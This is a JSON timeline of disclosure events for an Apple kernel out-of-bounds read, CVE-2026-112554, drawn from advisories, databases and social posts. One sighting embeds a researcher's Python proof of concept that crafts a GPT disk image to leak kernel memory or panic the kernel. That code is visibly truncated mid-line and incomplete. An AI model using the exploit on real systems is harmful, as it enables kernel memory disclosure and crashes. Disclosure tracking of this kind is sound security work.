{"metadata": {"vulnerability": "CVE-2026-112554", "count": 54, "kinds": {"milestone": 14, "sighting": 5, "kev": 0, "other": 35}}, "data": [{"timestamp": "2025-08-04T16:30:00Z", "date_only": false, "value": "2025-08-04T16:30:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0455", "record": "NCSC-2026-0455", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-08-04T16:30:00Z", "date_only": false, "value": "2025-08-04T16:30:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0456", "record": "NCSC-2026-0456", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-10-19T17:05:22.980Z", "date_only": false, "value": "2026-10-19T17:05:22.980Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-10-26T00:00:00Z", "date_only": true, "value": "2026-10-26", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1387", "record": "CERTFR-2026-AVI-1387", "field": "vendor_advisories.0.published_at", "linked_record": true}, {"timestamp": "2026-10-26T20:00:00Z", "date_only": false, "value": "2026-10-26T20:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20261027", "record": "CVE-2026-112554", "field": "creation_timestamp", "uuid": "6bfd8210-6da0-4e6d-9a1f-968fae97bbf7", "url": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20261027"}, {"timestamp": "2026-10-26T20:40:18.789Z", "date_only": false, "value": "2026-10-26T20:40:18.789Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-10-26T20:40:18.789Z", "date_only": false, "value": "2026-10-26T20:40:18.789Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / apple", "record": "CVE-2026-112554", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-26T21:17:48Z", "date_only": false, "value": "2026-10-26T21:17:48Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-PWGV-F536-V88J", "record": "GHSA-PWGV-F536-V88J", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2026-10-26T21:17:48.750Z", "date_only": false, "value": "2026-10-26T21:17:48.750", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112554", "record": "FKIE_CVE-2026-112554", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-10-26T21:36:18Z", "date_only": false, "value": "2026-10-26T21:36:18Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-PWGV-F536-V88J", "record": "GHSA-PWGV-F536-V88J", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-10-26T21:40:26Z", "date_only": false, "value": "2026-10-26T21:40:26Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0453 / VULNARCHIVE", "record": "GCVE-1988-2026-0453", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T21:40:52Z", "date_only": false, "value": "2026-10-26T21:40:52Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0454 / VULNARCHIVE", "record": "GCVE-1988-2026-0454", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T21:41:27Z", "date_only": false, "value": "2026-10-26T21:41:27Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0456 / VULNARCHIVE", "record": "GCVE-1988-2026-0456", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T21:41:40Z", "date_only": false, "value": "2026-10-26T21:41:40Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0457 / VULNARCHIVE", "record": "GCVE-1988-2026-0457", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T21:41:59Z", "date_only": false, "value": "2026-10-26T21:41:59Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0458 / VULNARCHIVE", "record": "GCVE-1988-2026-0458", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T21:45:02Z", "date_only": false, "value": "2026-10-26T21:45:02Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0463 / VULNARCHIVE", "record": "GCVE-1988-2026-0463", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt", "linked_record": true}, {"timestamp": "2026-10-26T22:39:34.713Z", "date_only": false, "value": "2026-10-26T22:39:34.713096Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cve/statuses/117509611470856967", "record": "CVE-2026-112554", "field": "creation_timestamp", "uuid": "337a428f-c366-4a10-b7ed-d1a870430f8d", "content": "CVE-2026-112554  An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or read kernel memory.\nhttps://www.cve.org/CVERecord?id=CVE-2026-112554https://support.apple.com/en-us/149227https://support.apple.com/en-us/149230https://support.apple.com/en-us/149521https://support.apple.com/en-us/149522https://support.apple.com/en-us/149523#Apple #iOSandiPadOS #macOS#CVE_2026_112554#bot", "url": "https://infosec.exchange/users/cve/statuses/117509611470856967"}, {"timestamp": "2026-10-27T00:00:00Z", "date_only": false, "value": "2026-10-27T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1387", "record": "CERTFR-2026-AVI-1387", "field": "last_revision_date", "linked_record": true}, {"timestamp": "2026-10-27T00:00:00Z", "date_only": false, "value": "2026-10-27T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1387", "record": "CERTFR-2026-AVI-1387", "field": "initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-10-27T00:00:00Z", "date_only": false, "value": "2026-10-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1387", "record": "CERTFR-2026-AVI-1387", "field": "revisions.0.revision_date", "linked_record": true}, {"timestamp": "2026-10-27T07:34:31Z", "date_only": false, "value": "2026-10-27T07:34:31.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/nst/d32531c85a75193dc262ef1188cd9426", "record": "CVE-2026-112554", "field": "creation_timestamp", "uuid": "df084654-57d2-4fa2-8f65-e1d088bdd6d3", "content": "#!/usr/bin/env python3\n\"\"\"\nPoC for the IOStorageFamily GPT partition-name over-read (CVE-2026-112554).\n\nhttps://seriot.ch/security/iostoragefamily.html\n\nIOGUIDPartitionScheme passes sizeof(ent_name) == 72 (BYTES) to a converter that\nexpects a count of UTF-16 elements. A 36-unit, non-NUL-terminated name therefore\nmakes the kernel read up to 36 units PAST the end of the field, and those bytes\nend up in the public IOMedia name.\n\nThis image puts that unterminated name in the LAST table entry, so the over-read\nexits the 512-byte table buffer into adjacent kernel memory and those bytes are\nappended to the public IOMedia name. If the read reaches unmapped memory the\nkernel panics instead.\n\"\"\"\n\nimport binascii\nimport struct\nimport uuid\n\nOUTPUT = \"/tmp/crasher.img\"\nSECTOR = 512\nENTRY_SIZE = 128\nSECTORS = 2048\nBASIC = uuid.UUID(\"EBD0A0A2-B9E5-4433-87C0-68B6B72699C7\")  # Basic Data partition type\n\n\ndef u16(text):\n    return text.encode(\"utf-16-le\")\n\n\ndef entry(name, start, end, terminate=True):\n    \"\"\"One 128-byte GPT entry. With terminate=False the 72-byte name field is\n    left completely full (no NUL), so the converter reads past it.\"\"\"\n    guids = BASIC.bytes_le + uuid.uuid4().bytes_le\n    body = guids + struct.pack(\" 36 chars; extra bytes are adjacent kernel memory\")\n    print(\"fixed kernel:      LEAK00 name is exactly 36 chars\")\n    print(\"WARNING: on a vulnerable kernel the over-read may panic. Disposable VM only.\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "url": "https://gist.github.com/nst/d32531c85a75193dc262ef1188cd9426"}, {"timestamp": "2026-10-27T08:05:01.630Z", "date_only": false, "value": "2026-10-27T08:05:01.630016Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0455", "record": "NCSC-2026-0455", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2026-10-27T08:05:01.630Z", "date_only": false, "value": "2026-10-27T08:05:01.630016Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2026-0455", "record": "NCSC-2026-0455", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-10-27T08:05:28.446Z", "date_only": false, "value": "2026-10-27T08:05:28.446863Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0456", "record": "NCSC-2026-0456", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2026-10-27T08:05:28.446Z", "date_only": false, "value": "2026-10-27T08:05:28.446863Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2026-0456", "record": "NCSC-2026-0456", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-10-27T08:05:28.446Z", "date_only": false, "value": "2026-10-27T08:05:28.446863Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0456", "record": "NCSC-2026-0456", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-10-27T08:14:24.384Z", "date_only": false, "value": "2026-10-27T08:14:24.384251Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nst021.bsky.social/post/3myts6fysik2j", "record": "CVE-2026-112554", "field": "creation_timestamp", "uuid": "a4e82019-3bd0-42ef-834a-25c270f3473c", "content": "Just got two Apple CVEs. Short write-ups and PoCs:\nCVE-2026-112554 IOStorageFamily - kernel memory disclosure and panic seriot.ch/security/ios...\nCVE-2026-112554 Quick Look - file names leak seriot.ch/security/qui...", "url": "https://bsky.app/profile/nst021.bsky.social/post/3myts6fysik2j"}, {"timestamp": "2026-10-27T08:16:27.387Z", "date_only": false, "value": "2026-10-27T08:16:27.387456Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nst021.bsky.social/post/3mytsc37kvs2h", "record": "CVE-2026-112554", "field": "creation_timestamp", "uuid": "0b01cfe1-7380-40de-a412-5cc06c2e4d23", "content": "Just got two Apple CVEs (minor bugs). Short write-ups and PoCs:\n- CVE-2026-112554 IOStorageFamily - kernel memory disclosure and panic seriot.ch/security/ios...\n- CVE-2026-112554 Quick Look - file names leak seriot.ch/security/qui...", "url": "https://bsky.app/profile/nst021.bsky.social/post/3mytsc37kvs2h"}, {"timestamp": "2026-10-28T14:17:59.503Z", "date_only": false, "value": "2026-10-28T14:17:59.503789Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0455", "record": "NCSC-2026-0455", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-10-28T14:17:59.503Z", "date_only": false, "value": "2026-10-28T14:17:59.503789Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0455", "record": "NCSC-2026-0455", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0453", "record": "GCVE-1988-2026-0453", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0454", "record": "GCVE-1988-2026-0454", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0453", "record": "GCVE-1988-2026-0453", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0453 / VULNARCHIVE", "record": "GCVE-1988-2026-0453", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0454", "record": "GCVE-1988-2026-0454", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:56Z", "date_only": false, "value": "2026-11-02T07:29:56Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0454 / VULNARCHIVE", "record": "GCVE-1988-2026-0454", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:57Z", "date_only": false, "value": "2026-11-02T07:29:57Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0456", "record": "GCVE-1988-2026-0456", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:29:57Z", "date_only": false, "value": "2026-11-02T07:29:57Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0456", "record": "GCVE-1988-2026-0456", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:57Z", "date_only": false, "value": "2026-11-02T07:29:57Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0456 / VULNARCHIVE", "record": "GCVE-1988-2026-0456", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0457", "record": "GCVE-1988-2026-0457", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0458", "record": "GCVE-1988-2026-0458", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0457", "record": "GCVE-1988-2026-0457", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0457 / VULNARCHIVE", "record": "GCVE-1988-2026-0457", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0458", "record": "GCVE-1988-2026-0458", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:29:58Z", "date_only": false, "value": "2026-11-02T07:29:58Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0458 / VULNARCHIVE", "record": "GCVE-1988-2026-0458", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:30:00Z", "date_only": false, "value": "2026-11-02T07:30:00Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0463", "record": "GCVE-1988-2026-0463", "field": "cveMetadata.datePublished", "linked_record": true}, {"timestamp": "2026-11-02T07:30:00Z", "date_only": false, "value": "2026-11-02T07:30:00Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0463", "record": "GCVE-1988-2026-0463", "field": "cveMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-02T07:30:00Z", "date_only": false, "value": "2026-11-02T07:30:00Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0463 / VULNARCHIVE", "record": "GCVE-1988-2026-0463", "field": "containers.cna.providerMetadata.dateUpdated", "linked_record": true}, {"timestamp": "2026-11-04T15:34:17.729Z", "date_only": false, "value": "2026-11-04T15:34:17.729617Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-112554", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2026-11-04T15:34:17.729Z", "date_only": false, "value": "2026-11-04T15:34:17.729617Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112554", "record": "FKIE_CVE-2026-112554", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-11-04T15:35:02.376Z", "date_only": false, "value": "2026-11-04T15:35:02.376Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-11-04T15:35:02.376Z", "date_only": false, "value": "2026-11-04T15:35:02.376Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-112554", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-11-04T18:30:37Z", "date_only": false, "value": "2026-11-04T18:30:37Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-PWGV-F536-V88J", "record": "GHSA-PWGV-F536-V88J", "field": "modified", "linked_record": true}, {"timestamp": "2026-11-06T18:59:20.163Z", "date_only": false, "value": "2026-11-06T18:59:20.163", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112554", "record": "FKIE_CVE-2026-112554", "field": "lastModified", "linked_record": true}], "metrics": {"as_of": "2026-11-07T01:41:56.977Z", "anchors": {"origin": {"timestamp": "2026-10-26T20:40:18.789Z", "date_only": false, "value": "2026-10-26T20:40:18.789Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-10-26T20:40:18.789Z", "date_only": false, "value": "2026-10-26T20:40:18.789Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 968498.188054, "hours": 269.02727445944447, "days": 11.209469769143519, "min_seconds": 968498.188054, "max_seconds": 968498.188054, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-10-26T20:40:18.789Z", "date_only": false, "value": "2026-10-26T20:40:18.789Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112554", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-07T01:41:56.977Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}